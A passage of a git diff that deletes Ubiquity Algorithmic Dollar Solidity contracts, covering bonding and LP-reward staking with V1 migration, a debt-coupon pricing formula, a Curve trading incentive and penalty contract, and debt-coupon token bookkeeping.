- } - } - - function _beforeTokenTransfer( - address operator, - address from, - address to, - uint256[] memory ids, - uint256[] memory amounts, - bytes memory data - ) internal virtual override(ERC1155, ERC1155Pausable) { - super._beforeTokenTransfer(operator, from, to, ids, amounts, data); - } -} diff --git a/packages/contracts/dollar/contracts/BondingV2.sol b/packages/contracts/dollar/contracts/BondingV2.sol deleted file mode 100644 index 148650361..000000000 --- a/packages/contracts/dollar/contracts/BondingV2.sol +++ /dev/null @@ -1,668 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "@openzeppelin/contracts/security/Pausable.sol"; -import "./interfaces/IERC1155Ubiquity.sol"; -import "./interfaces/IMetaPool.sol"; -import "./interfaces/IUbiquityFormulas.sol"; -import "./UbiquityAlgorithmicDollar.sol"; -import "./BondingFormulas.sol"; -import "./BondingShareV2.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./interfaces/ISablier.sol"; -import "./interfaces/IMasterChefV2.sol"; -import "./interfaces/ITWAPOracle.sol"; -import "./interfaces/IERC1155Ubiquity.sol"; -import "./utils/CollectableDust.sol"; - -contract BondingV2 is CollectableDust, Pausable { - using SafeERC20 for IERC20; - - bytes public data = ""; - UbiquityAlgorithmicDollarManager public manager; - uint256 public constant ONE = uint256(1 ether); // 3Crv has 18 decimals - uint256 public bondingDiscountMultiplier = uint256(1000000 gwei); // 0.001 - uint256 public blockCountInAWeek = 45361; - uint256 public accLpRewardPerShare = 0; - - uint256 public lpRewards; - uint256 public totalLpToMigrate; - address public bondingFormulasAddress; - - address public migrator; // temporary address to handle migration - address[] private _toMigrateOriginals; - uint256[] private _toMigrateLpBalances; - uint256[] private _toMigrateWeeks; - - // toMigrateId[address] > 0 when address is to migrate, or 0 in all other cases - mapping(address => uint256) public toMigrateId; - bool public migrating = false; - - event PriceReset( - address _tokenWithdrawn, - uint256 _amountWithdrawn, - uint256 _amountTransfered - ); - - event Deposit( - address indexed _user, - uint256 indexed _id, - uint256 _lpAmount, - uint256 _bondingShareAmount, - uint256 _weeks, - uint256 _endBlock - ); - event RemoveLiquidityFromBond( - address indexed _user, - uint256 indexed _id, - uint256 _lpAmount, - uint256 _lpAmountTransferred, - uint256 _lprewards, - uint256 _bondingShareAmount - ); - - event AddLiquidityFromBond( - address indexed _user, - uint256 indexed _id, - uint256 _lpAmount, - uint256 _bondingShareAmount - ); - - event BondingDiscountMultiplierUpdated(uint256 _bondingDiscountMultiplier); - event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek); - - event Migrated( - address indexed _user, - uint256 indexed _id, - uint256 _lpsAmount, - uint256 _sharesAmount, - uint256 _weeks - ); - - modifier onlyBondingManager() { - require( - manager.hasRole(manager.BONDING_MANAGER_ROLE(), msg.sender), - "not manager" - ); - _; - } - - modifier onlyPauser() { - require( - manager.hasRole(manager.PAUSER_ROLE(), msg.sender), - "not pauser" - ); - _; - } - - modifier onlyMigrator() { - require(msg.sender == migrator, "not migrator"); - _; - } - - modifier whenMigrating() { - require(migrating, "not in migration"); - _; - } - - constructor( - address _manager, - address _bondingFormulasAddress, - address[] memory _originals, - uint256[] memory _lpBalances, - uint256[] memory _weeks - ) CollectableDust() Pausable() { - manager = UbiquityAlgorithmicDollarManager(_manager); - bondingFormulasAddress = _bondingFormulasAddress; - migrator = msg.sender; - - uint256 lgt = _originals.length; - require(lgt > 0, "address array empty"); - require(lgt == _lpBalances.length, "balances array not same length"); - require(lgt == _weeks.length, "weeks array not same length"); - - _toMigrateOriginals = _originals; - _toMigrateLpBalances = _lpBalances; - _toMigrateWeeks = _weeks; - for (uint256 i = 0; i < lgt; ++i) { - toMigrateId[_originals[i]] = i + 1; - totalLpToMigrate += _lpBalances[i]; - } - } - - // solhint-disable-next-line no-empty-blocks - receive() external payable {} - - /// @dev addUserToMigrate add a user to migrate from V1. - /// IMPORTANT execute that function BEFORE sending the corresponding LP token - /// otherwise they will have extra LP rewards - /// @param _original address of v1 user - /// @param _lpBalance LP Balance of v1 user - /// @param _weeks weeks lockup of v1 user - /// @notice user will then be able to migrate. - function addUserToMigrate( - address _original, - uint256 _lpBalance, - uint256 _weeks - ) external onlyMigrator { - _toMigrateOriginals.push(_original); - _toMigrateLpBalances.push(_lpBalance); - totalLpToMigrate += _lpBalance; - _toMigrateWeeks.push(_weeks); - toMigrateId[_original] = _toMigrateOriginals.length; - } - - function setMigrator(address _migrator) external onlyMigrator { - migrator = _migrator; - } - - function setMigrating(bool _migrating) external onlyMigrator { - migrating = _migrating; - } - - /// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside - /// the bonding contract and send the uAD received to the treasury. - /// This will have the immediate effect of pushing the uAD price HIGHER - /// @param amount of LP token to be removed for uAD - /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract - function uADPriceReset(uint256 amount) external onlyBondingManager { - IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress()); - // remove one coin - uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin( - amount, - 0, - 0 - ); - ITWAPOracle(manager.twapOracleAddress()).update(); - uint256 toTransfer = IERC20(manager.dollarTokenAddress()).balanceOf( - address(this) - ); - IERC20(manager.dollarTokenAddress()).transfer( - manager.treasuryAddress(), - toTransfer - ); - emit PriceReset( - manager.dollarTokenAddress(), - coinWithdrawn, - toTransfer - ); - } - - /// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside - /// the bonding contract and send the 3CRV received to the treasury - /// This will have the immediate effect of pushing the uAD price LOWER - /// @param amount of LP token to be removed for 3CRV tokens - /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract - function crvPriceReset(uint256 amount) external onlyBondingManager { - IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress()); - // remove one coin - uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin( - amount, - 1, - 0 - ); - // update twap - ITWAPOracle(manager.twapOracleAddress()).update(); - uint256 toTransfer = IERC20(manager.curve3PoolTokenAddress()).balanceOf( - address(this) - ); - IERC20(manager.curve3PoolTokenAddress()).transfer( - manager.treasuryAddress(), - toTransfer - ); - emit PriceReset( - manager.curve3PoolTokenAddress(), - coinWithdrawn, - toTransfer - ); - } - - function setBondingFormulasAddress(address _bondingFormulasAddress) - external - onlyBondingManager - { - bondingFormulasAddress = _bondingFormulasAddress; - } - - /// Collectable Dust - function addProtocolToken(address _token) - external - override - onlyBondingManager - { - _addProtocolToken(_token); - } - - function removeProtocolToken(address _token) - external - override - onlyBondingManager - { - _removeProtocolToken(_token); - } - - function sendDust( - address _to, - address _token, - uint256 _amount - ) external override onlyBondingManager { - _sendDust(_to, _token, _amount); - } - - function setBondingDiscountMultiplier(uint256 _bondingDiscountMultiplier) - external - onlyBondingManager - { - bondingDiscountMultiplier = _bondingDiscountMultiplier; - emit BondingDiscountMultiplierUpdated(_bondingDiscountMultiplier); - } - - function setBlockCountInAWeek(uint256 _blockCountInAWeek) - external - onlyBondingManager - { - blockCountInAWeek = _blockCountInAWeek; - emit BlockCountInAWeekUpdated(_blockCountInAWeek); - } - - /// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares - /// @param _lpsAmount of LP token to send - /// @param _weeks during lp token will be held - /// @notice weeks act as a multiplier for the amount of bonding shares to be received - function deposit(uint256 _lpsAmount, uint256 _weeks) - external - whenNotPaused - returns (uint256 _id) - { - require( - 1 <= _weeks && _weeks <= 208, - "Bonding: duration must be between 1 and 208 weeks" - ); - ITWAPOracle(manager.twapOracleAddress()).update(); - - // update the accumulated lp rewards per shares - _updateLpPerShare(); - // transfer lp token to the bonding contract - IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom( - msg.sender, - address(this), - _lpsAmount - ); - - // calculate the amount of share based on the amount of lp deposited and the duration - uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress()) - .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier); - // calculate end locking period block number - uint256 _endBlock = block.number + _weeks * blockCountInAWeek; - _id = _mint(msg.sender, _lpsAmount, _sharesAmount, _endBlock); - - // set masterchef for uGOV rewards - IMasterChefV2(manager.masterChefAddress()).deposit( - msg.sender, - _sharesAmount, - _id - ); - - emit Deposit( - msg.sender, - _id, - _lpsAmount, - _sharesAmount, - _weeks, - _endBlock - ); - } - - /// @dev Add an amount of uAD-3CRV LP tokens - /// @param _amount of LP token to deposit - /// @param _id bonding shares id - /// @param _weeks during lp token will be held - /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date - function addLiquidity( - uint256 _amount, - uint256 _id, - uint256 _weeks - ) external whenNotPaused { - ( - uint256[2] memory bs, - BondingShareV2.Bond memory bond - ) = _checkForLiquidity(_id); - - // calculate pending LP rewards - uint256 sharesToRemove = bs[0]; - _updateLpPerShare(); - uint256 pendingLpReward = lpRewardForShares( - sharesToRemove, - bond.lpRewardDebt - ); - - // add an extra step to be able to decrease rewards if locking end is near - pendingLpReward = BondingFormulas(this.bondingFormulasAddress()) - .lpRewardsAddLiquidityNormalization(bond, bs, pendingLpReward); - // add these LP Rewards to the deposited amount of LP token - bond.lpAmount += pendingLpReward; - lpRewards -= pendingLpReward; - IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom( - msg.sender, - address(this), - _amount - ); - bond.lpAmount += _amount; - - // redeem all shares - IMasterChefV2(manager.masterChefAddress()).withdraw( - msg.sender, - sharesToRemove, - _id - ); - - // calculate the amount of share based on the new amount of lp deposited and the duration - uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress()) - .durationMultiply(bond.lpAmount, _weeks, bondingDiscountMultiplier); - - // deposit new shares - IMasterChefV2(manager.masterChefAddress()).deposit( - msg.sender, - _sharesAmount, - _id - ); - // calculate end locking period block number - // 1 week = 45361 blocks = 2371753*7/366 - // n = (block + duration * 45361) - bond.endBlock = block.number + _weeks * blockCountInAWeek; - - // should be done after masterchef withdraw - _updateLpPerShare(); - bond.lpRewardDebt = - (IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo( - _id - )[0] * accLpRewardPerShare) / - 1e12; - - BondingShareV2(manager.bondingShareAddress()).updateBond( - _id, - bond.lpAmount, - bond.lpRewardDebt, - bond.endBlock - ); - emit AddLiquidityFromBond( - msg.sender, - _id, - bond.lpAmount, - _sharesAmount - ); - } - - /// @dev Remove an amount of uAD-3CRV LP tokens - /// @param _amount of LP token deposited when _id was created to be withdrawn - /// @param _id bonding shares id - /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date - function removeLiquidity(uint256 _amount, uint256 _id) - external - whenNotPaused - { - ( - uint256[2] memory bs, - BondingShareV2.Bond memory bond - ) = _checkForLiquidity(_id); - require(bond.lpAmount >= _amount, "Bonding: amount too big"); - // we should decrease the UBQ rewards proportionally to the LP removed - // sharesToRemove = (bonding shares * _amount ) / bond.lpAmount ; - uint256 sharesToRemove = BondingFormulas(this.bondingFormulasAddress()) - .sharesForLP(bond, bs, _amount); - - //get all its pending LP Rewards - _updateLpPerShare(); - uint256 pendingLpReward = lpRewardForShares(bs[0], bond.lpRewardDebt); - // update bonding shares - // bond.shares = bond.shares - sharesToRemove; - // get masterchef for uGOV rewards To ensure correct computation - // it needs to be done BEFORE updating the bonding share - IMasterChefV2(manager.masterChefAddress()).withdraw( - msg.sender, - sharesToRemove, - _id - ); - - // redeem of the extra LP - // bonding lp balance - BondingShareV2.totalLP - IERC20 metapool = IERC20(manager.stableSwapMetaPoolAddress()); - - // add an extra step to be able to decrease rewards if locking end is near - pendingLpReward = BondingFormulas(this.bondingFormulasAddress()) - .lpRewardsRemoveLiquidityNormalization(bond, bs, pendingLpReward); - - uint256 correctedAmount = BondingFormulas(this.bondingFormulasAddress()) - .correctedAmountToWithdraw( - BondingShareV2(manager.bondingShareAddress()).totalLP(), - metapool.balanceOf(address(this)) - lpRewards, - _amount - ); - - lpRewards -= pendingLpReward; - bond.lpAmount -= _amount; - - // bond.lpRewardDebt = (bonding shares * accLpRewardPerShare) / 1e18; - // user.amount.mul(pool.accSushiPerShare).div(1e12); - // should be done after masterchef withdraw - bond.lpRewardDebt = - (IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo( - _id - )[0] * accLpRewardPerShare) / - 1e12; - - BondingShareV2(manager.bondingShareAddress()).updateBond( - _id, - bond.lpAmount, - bond.lpRewardDebt, - bond.endBlock - ); - - // lastly redeem lp tokens - metapool.safeTransfer(msg.sender, correctedAmount + pendingLpReward); - emit RemoveLiquidityFromBond( - msg.sender, - _id, - _amount, - correctedAmount, - pendingLpReward, - sharesToRemove - ); - } - - // View function to see pending lpRewards on frontend. - function pendingLpRewards(uint256 _id) external view returns (uint256) { - BondingShareV2 bonding = BondingShareV2(manager.bondingShareAddress()); - BondingShareV2.Bond memory bond = bonding.getBond(_id); - uint256[2] memory bs = IMasterChefV2(manager.masterChefAddress()) - .getBondingShareInfo(_id); - - uint256 lpBalance = IERC20(manager.stableSwapMetaPoolAddress()) - .balanceOf(address(this)); - // the excess LP is the current balance minus the total deposited LP - if (lpBalance >= (bonding.totalLP() + totalLpToMigrate)) { - uint256 currentLpRewards = lpBalance - - (bonding.totalLP() + totalLpToMigrate); - uint256 curAccLpRewardPerShare = accLpRewardPerShare; - // if new rewards we should calculate the new curAccLpRewardPerShare - if (currentLpRewards > lpRewards) { - uint256 newLpRewards = currentLpRewards - lpRewards; - curAccLpRewardPerShare = - accLpRewardPerShare + - ((newLpRewards * 1e12) / - IMasterChefV2(manager.masterChefAddress()) - .totalShares()); - } - // we multiply the shares amount by the accumulated lpRewards per share - // and remove the lp Reward Debt - return - (bs[0] * (curAccLpRewardPerShare)) / - (1e12) - - (bond.lpRewardDebt); - } - return 0; - } - - function pause() public virtual onlyPauser { - _pause(); - } - - function unpause() public virtual onlyPauser { - _unpause(); - } - - /// @dev migrate let a user migrate from V1 - /// @notice user will then be able to migrate - function migrate() public whenMigrating returns (uint256 _id) { - _id = toMigrateId[msg.sender]; - require(_id > 0, "not v1 address"); - - _migrate( - _toMigrateOriginals[_id - 1], - _toMigrateLpBalances[_id - 1], - _toMigrateWeeks[_id - 1] - ); - } - - /// @dev return the amount of Lp token rewards an amount of shares entitled - /// @param amount of bonding shares - /// @param lpRewardDebt lp rewards that has already been distributed - function lpRewardForShares(uint256 amount, uint256 lpRewardDebt) - public - view - returns (uint256 pendingLpReward) - { - if (accLpRewardPerShare > 0) { - pendingLpReward = - (amount * accLpRewardPerShare) / - 1e12 - - (lpRewardDebt); - } - } - - function currentShareValue() public view returns (uint256 priceShare) { - uint256 totalShares = IMasterChefV2(manager.masterChefAddress()) - .totalShares(); - // priceShare = totalLP / totalShares - priceShare = IUbiquityFormulas(manager.formulasAddress()).bondPrice( - BondingShareV2(manager.bondingShareAddress()).totalLP(), - totalShares, - ONE - ); - } - - /// @dev migrate let a user migrate from V1 - /// @notice user will then be able to migrate - function _migrate( - address user, - uint256 _lpsAmount, - uint256 _weeks - ) internal returns (uint256 _id) { - require(toMigrateId[user] > 0, "not v1 address"); - require(_lpsAmount > 0, "LP amount is zero"); - require( - 1 <= _weeks && _weeks <= 208, - "Duration must be between 1 and 208 weeks" - ); - - // unregister address - toMigrateId[user] = 0; - - // calculate the amount of share based on the amount of lp deposited and the duration - uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress()) - .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier); - - // update the accumulated lp rewards per shares - _updateLpPerShare(); - // calculate end locking period block number - uint256 endBlock = block.number + _weeks * blockCountInAWeek; - _id = _mint(user, _lpsAmount, _sharesAmount, endBlock); - // reduce the total LP to migrate after the minting - // to keep the _updateLpPerShare calculation consistent - totalLpToMigrate -= _lpsAmount; - // set masterchef for uGOV rewards - IMasterChefV2(manager.masterChefAddress()).deposit( - user, - _sharesAmount, - _id - ); - - emit Migrated(user, _id, _lpsAmount, _sharesAmount, _weeks); - } - - /// @dev update the accumulated excess LP per share - function _updateLpPerShare() internal { - BondingShareV2 bond = BondingShareV2(manager.bondingShareAddress()); - uint256 lpBalance = IERC20(manager.stableSwapMetaPoolAddress()) - .balanceOf(address(this)); - // the excess LP is the current balance - // minus the total deposited LP + LP that needs to be migrated - uint256 totalShares = IMasterChefV2(manager.masterChefAddress()) - .totalShares(); - if ( - lpBalance >= (bond.totalLP() + totalLpToMigrate) && totalShares > 0 - ) { - uint256 currentLpRewards = lpBalance - - (bond.totalLP() + totalLpToMigrate); - - // is there new LP rewards to be distributed ? - if (currentLpRewards > lpRewards) { - // we calculate the new accumulated LP rewards per share - accLpRewardPerShare = - accLpRewardPerShare + - (((currentLpRewards - lpRewards) * 1e12) / totalShares); - - // update the bonding contract lpRewards - lpRewards = currentLpRewards; - } - } - } - - function _mint( - address to, - uint256 lpAmount, - uint256 shares, - uint256 endBlock - ) internal returns (uint256) { - uint256 _currentShareValue = currentShareValue(); - require( - _currentShareValue != 0, - "Bonding: share value should not be null" - ); - // set the lp rewards debts so that this bonding share only get lp rewards from this day - uint256 lpRewardDebt = (shares * accLpRewardPerShare) / 1e12; - return - BondingShareV2(manager.bondingShareAddress()).mint( - to, - lpAmount, - lpRewardDebt, - endBlock - ); - } - - function _checkForLiquidity(uint256 _id) - internal - returns (uint256[2] memory bs, BondingShareV2.Bond memory bond) - { - require( - IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf( - msg.sender, - _id - ) == 1, - "Bonding: caller is not owner" - ); - BondingShareV2 bonding = BondingShareV2(manager.bondingShareAddress()); - bond = bonding.getBond(_id); - require( - block.number > bond.endBlock, - "Bonding: Redeem not allowed before bonding time" - ); - - ITWAPOracle(manager.twapOracleAddress()).update(); - bs = IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo( - _id - ); - } -} diff --git a/packages/contracts/dollar/contracts/CouponsForDollarsCalculator.sol b/packages/contracts/dollar/contracts/CouponsForDollarsCalculator.sol deleted file mode 100644 index 4f9f98a59..000000000 --- a/packages/contracts/dollar/contracts/CouponsForDollarsCalculator.sol +++ /dev/null @@ -1,49 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "./interfaces/ICouponsForDollarsCalculator.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./libs/ABDKMathQuad.sol"; -import "./DebtCoupon.sol"; - -/// @title Uses the following formula: ((1/(1-R)^2) - 1) -contract CouponsForDollarsCalculator is ICouponsForDollarsCalculator { - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - UbiquityAlgorithmicDollarManager public manager; - - /* using ABDKMath64x64 for uint256; - using ABDKMath64x64 for int128;*/ - - /// @param _manager the address of the manager/config contract so we can fetch variables - constructor(address _manager) { - manager = UbiquityAlgorithmicDollarManager(_manager); - } - - function getCouponAmount(uint256 dollarsToBurn) - external - view - override - returns (uint256) - { - require( - DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() < - IERC20(manager.dollarTokenAddress()).totalSupply(), - "Coupon to dollar: DEBT_TOO_HIGH" - ); - bytes16 one = uint256(1).fromUInt(); - bytes16 totalDebt = DebtCoupon(manager.debtCouponAddress()) - .getTotalOutstandingDebt() - .fromUInt(); - bytes16 r = totalDebt.div( - IERC20(manager.dollarTokenAddress()).totalSupply().fromUInt() - ); - - bytes16 oneMinusRAllSquared = (one.sub(r)).mul(one.sub(r)); - - bytes16 res = one.div(oneMinusRAllSquared); - - return res.mul(dollarsToBurn.fromUInt()).toUInt(); - } -} diff --git a/packages/contracts/dollar/contracts/CurveUADIncentive.sol b/packages/contracts/dollar/contracts/CurveUADIncentive.sol deleted file mode 100644 index 995583048..000000000 --- a/packages/contracts/dollar/contracts/CurveUADIncentive.sol +++ /dev/null @@ -1,172 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./interfaces/IUbiquityGovernance.sol"; -import "./interfaces/IIncentive.sol"; -import "./TWAPOracle.sol"; -import "./UbiquityAlgorithmicDollar.sol"; -import "./libs/ABDKMathQuad.sol"; - -/// @title Uniswap trading incentive contract -/// @author uAD Protocol -/// @dev incentives -contract CurveUADIncentive is IIncentive { - using ABDKMathQuad for uint256; - using ABDKMathQuad for bytes16; - UbiquityAlgorithmicDollarManager public manager; - bool public isSellPenaltyOn = true; - bool public isBuyIncentiveOn = true; - bytes16 private immutable _one = (uint256(1 ether)).fromUInt(); - mapping(address => bool) private _exempt; - event ExemptAddressUpdate(address indexed _account, bool _isExempt); - modifier onlyAdmin() { - require( - manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender), - "CurveIncentive: not admin" - ); - _; - } - modifier onlyUAD() { - require( - msg.sender == manager.dollarTokenAddress(), - "CurveIncentive: Caller is not uAD" - ); - _; - } - - /// @notice CurveIncentive constructor - /// @param _manager uAD Manager - constructor(address _manager) { - manager = UbiquityAlgorithmicDollarManager(_manager); - } - - function incentivize( - address sender, - address receiver, - address, - uint256 amountIn - ) external override onlyUAD { - require(sender != receiver, "CurveIncentive: cannot send self"); - - if (sender == manager.stableSwapMetaPoolAddress()) { - _incentivizeBuy(receiver, amountIn); - } - - if (receiver == manager.stableSwapMetaPoolAddress()) { - _incentivizeSell(sender, amountIn); - } - } - - /// @notice set an address to be exempted from Uniswap trading incentives - /// @param account the address to update - /// @param isExempt a flag for whether to exempt or unexempt - function setExemptAddress(address account, bool isExempt) - external - onlyAdmin - { - _exempt[account] = isExempt; - emit ExemptAddressUpdate(account, isExempt); - } - - /// @notice switch the sell penalty - function switchSellPenalty() external onlyAdmin { - isSellPenaltyOn = !isSellPenaltyOn; - } - - /// @notice switch the buy incentive - function switchBuyIncentive() external onlyAdmin { - isBuyIncentiveOn = !isBuyIncentiveOn; - } - - /// @notice returns true if account is marked as exempt - function isExemptAddress(address account) public view returns (bool) { - return _exempt[account]; - } - - function _incentivizeBuy(address target, uint256 amountIn) internal { - _updateOracle(); - - if (isExemptAddress(target) || !isBuyIncentiveOn) { - return; - } - - uint256 incentive = _getPercentDeviationFromUnderPeg(amountIn); - /* swapping 3CRV (or underlying) for uAD (aka buying uAD) will mint x% of uGOV. - Where x = (1- TWAP_Price) * amountIn. - E.g. uAD = 0.8, you buy 1000 uAD, you get (1-0.8)*1000 = 200 uGOV */ - - if (incentive != 0) { - // this means CurveIncentive should be a minter of UGOV - IUbiquityGovernance(manager.governanceTokenAddress()).mint( - target, - incentive - ); - } - } - - /// @notice returns the percentage of deviation from the peg multiplied by amount - // when uAD is <1$ - function _getPercentDeviationFromUnderPeg(uint256 amount) - internal - returns (uint256) - { - _updateOracle(); - uint256 curPrice = _getTWAPPrice(); - if (curPrice >= 1 ether) { - return 0; - } - - uint256 res = _one - .sub(curPrice.fromUInt()) - .mul((amount.fromUInt().div(_one))) - .toUInt(); - // returns (1- TWAP_Price) * amount. - return res; - } - - function _incentivizeSell(address target, uint256 amount) internal { - _updateOracle(); - if (isExemptAddress(target) || !isSellPenaltyOn) { - return; - } - - /* - WARNING - From curve doc :Tokens that take a fee upon a successful transfer may cause the curve pool - to break or act in unexpected ways. - fei does it differently because they can make sure only one contract has the ability to sell - uAD and they control the whole liquidity pool on uniswap. - here to avoid problem with the curve pool we execute the transfer as specified and then we - take the penalty so if penalty + amount > balance then we revert - swapping uAD for 3CRV (or underlying) (aka selling uAD) will burn x% of uAD - Where x = (1- TWAP_Price) *100. - */ - - uint256 penalty = _getPercentDeviationFromUnderPeg(amount); - if (penalty != 0) { - require(penalty < amount, "Dollar: burn exceeds trade size"); - - require( - UbiquityAlgorithmicDollar(manager.dollarTokenAddress()) - .balanceOf(target) >= penalty + amount, - "Dollar: balance too low to get penalized" - ); - UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom( - target, - penalty - ); // burn from the recipient - } - } - - function _updateOracle() internal { - TWAPOracle(manager.twapOracleAddress()).update(); - } - - function _getTWAPPrice() internal view returns (uint256) { - return - TWAPOracle(manager.twapOracleAddress()).consult( - manager.dollarTokenAddress() - ); - } -} diff --git a/packages/contracts/dollar/contracts/DebtCoupon.sol b/packages/contracts/dollar/contracts/DebtCoupon.sol deleted file mode 100644 index d0a44bee9..000000000 --- a/packages/contracts/dollar/contracts/DebtCoupon.sol +++ /dev/null @@ -1,136 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "./ERC1155Ubiquity.sol"; -import "solidity-linked-list/contracts/StructuredLinkedList.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; - -/// @title A coupon redeemable for dollars with an expiry block number -/// @notice An ERC1155 where the token ID is the expiry block number -/// @dev Implements ERC1155 so receiving contracts must implement IERC1155Receiver -contract DebtCoupon is ERC1155Ubiquity { - using StructuredLinkedList for StructuredLinkedList.List; - - //not public as if called externally can give inaccurate value. see method - uint256 private _totalOutstandingDebt; - - //represents tokenSupply of each expiry (since 1155 doesnt have this) - mapping(uint256 => uint256) private _tokenSupplies; - - //ordered list of coupon expiries - StructuredLinkedList.List private _sortedBlockNumbers; - - event MintedCoupons(address recipient, uint256 expiryBlock, uint256 amount); - - event BurnedCoupons( - address couponHolder, - uint256 expiryBlock, - uint256 amount - ); - - modifier onlyCouponManager() { - require( - manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender), - "Caller is not a coupon manager" - ); - _; - } - - //@dev URI param is if we want to add an off-chain meta data uri associated with this contract - constructor(address _manager) ERC1155Ubiquity(_manager, "URI") { - manager = UbiquityAlgorithmicDollarManager(_manager); - _totalOutstandingDebt = 0; - } - - /// @notice Mint an amount of coupons expiring at a certain block for a certain recipient - /// @param amount amount of tokens to mint - /// @param expiryBlockNumber the expiration block number of the coupons to mint - function mintCoupons( - address recipient, - uint256 amount, - uint256 expiryBlockNumber - ) public onlyCouponManager { - mint(recipient, expiryBlockNumber, amount, ""); - emit MintedCoupons(recipient, expiryBlockNumber, amount); - - //insert new relevant block number if it doesnt exist in our list - // (linkedlist implementation wont insert if dupe) - _sortedBlockNumbers.pushBack(expiryBlockNumber); - - //update the total supply for that expiry and total outstanding debt - _tokenSupplies[expiryBlockNumber] = - _tokenSupplies[expiryBlockNumber] + - (amount); - _totalOutstandingDebt = _totalOutstandingDebt + (amount); - } - - /// @notice Burn an amount of coupons expiring at a certain block from - /// a certain holder's balance - /// @param couponOwner the owner of those coupons - /// @param amount amount of tokens to burn - /// @param expiryBlockNumber the expiration block number of the coupons to burn - function burnCoupons( - address couponOwner, - uint256 amount, - uint256 expiryBlockNumber - ) public onlyCouponManager { - require( - balanceOf(couponOwner, expiryBlockNumber) >= amount, - "Coupon owner not enough coupons" - ); - burn(couponOwner, expiryBlockNumber, amount); - emit BurnedCoupons(couponOwner, expiryBlockNumber, amount); - - //update the total supply for that expiry and total outstanding debt - _tokenSupplies[expiryBlockNumber] = - _tokenSupplies[expiryBlockNumber] - - (amount); - _totalOutstandingDebt = _totalOutstandingDebt - (amount); - } - - /// @notice Should be called prior to any state changing functions. - // Updates debt according to current block number - function updateTotalDebt() public { - bool reachedEndOfExpiredKeys = false; - uint256 currentBlockNumber = _sortedBlockNumbers.popFront(); - - //if list is empty, currentBlockNumber will be 0 - while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) { - if (currentBlockNumber > block.number) { - //put the key back in since we popped, and end loop - _sortedBlockNumbers.pushFront(currentBlockNumber); - reachedEndOfExpiredKeys = true; - } else { - //update tally and remove key from blocks and map - _totalOutstandingDebt = - _totalOutstandingDebt - - (_tokenSupplies[currentBlockNumber]); - delete _tokenSupplies[currentBlockNumber]; - _sortedBlockNumbers.remove(currentBlockNumber); - } - currentBlockNumber = _sortedBlockNumbers.popFront(); - } - } - - /// @notice Returns outstanding debt by fetching current tally and removing any expired debt - function getTotalOutstandingDebt() public view returns (uint256) { - uint256 outstandingDebt = _totalOutstandingDebt; - bool reachedEndOfExpiredKeys = false; - (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0); - - while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) { - if (currentBlockNumber > block.number) { - reachedEndOfExpiredKeys = true; - } else { - outstandingDebt = - outstandingDebt - - (_tokenSupplies[currentBlockNumber]); - } - (, currentBlockNumber) = _sortedBlockNumbers.getNextNode( - currentBlockNumber - ); - } - - return outstandingDebt; - } -} diff --git a/packages/contracts/dollar/contracts/DebtCouponManager.sol b/packages/contracts/dollar/contracts/DebtCouponManager.sol deleted file mode 100644 index cb593ba20..000000000 --- a/packages/contracts/dollar/contracts/DebtCouponManager.sol +++ /dev/null @@ -1,416 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; -import "./interfaces/IDebtRedemption.sol"; -import "./interfaces/IUARForDollarsCalculator.sol"; -import "./interfaces/ICouponsForDollarsCalculator.sol"; -import "./interfaces/IDollarMintingCalculator.sol"; -import "./interfaces/IExcessDollarsDistributor.sol"; -import "./TWAPOracle.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "./UbiquityAlgorithmicDollar.sol"; -import "./UbiquityAutoRedeem.sol"; -import "./UbiquityAlgorithmicDollarManager.sol"; -import "./DebtCoupon.sol"; - -/// @title A basic debt issuing and redemption mechanism for coupon holders -/// @notice Allows users to burn their uAD in exchange for coupons -/// redeemable in the future -/// @notice Allows users to redeem individual debt coupons or batch redeem -/// coupons on a first-come first-serve basis -contract DebtCouponManager is ERC165, IERC1155Receiver { - using SafeERC20 for IERC20Ubiquity; - UbiquityAlgorithmicDollarManager public manager; - - //the amount of dollars we minted this cycle, so we can calculate 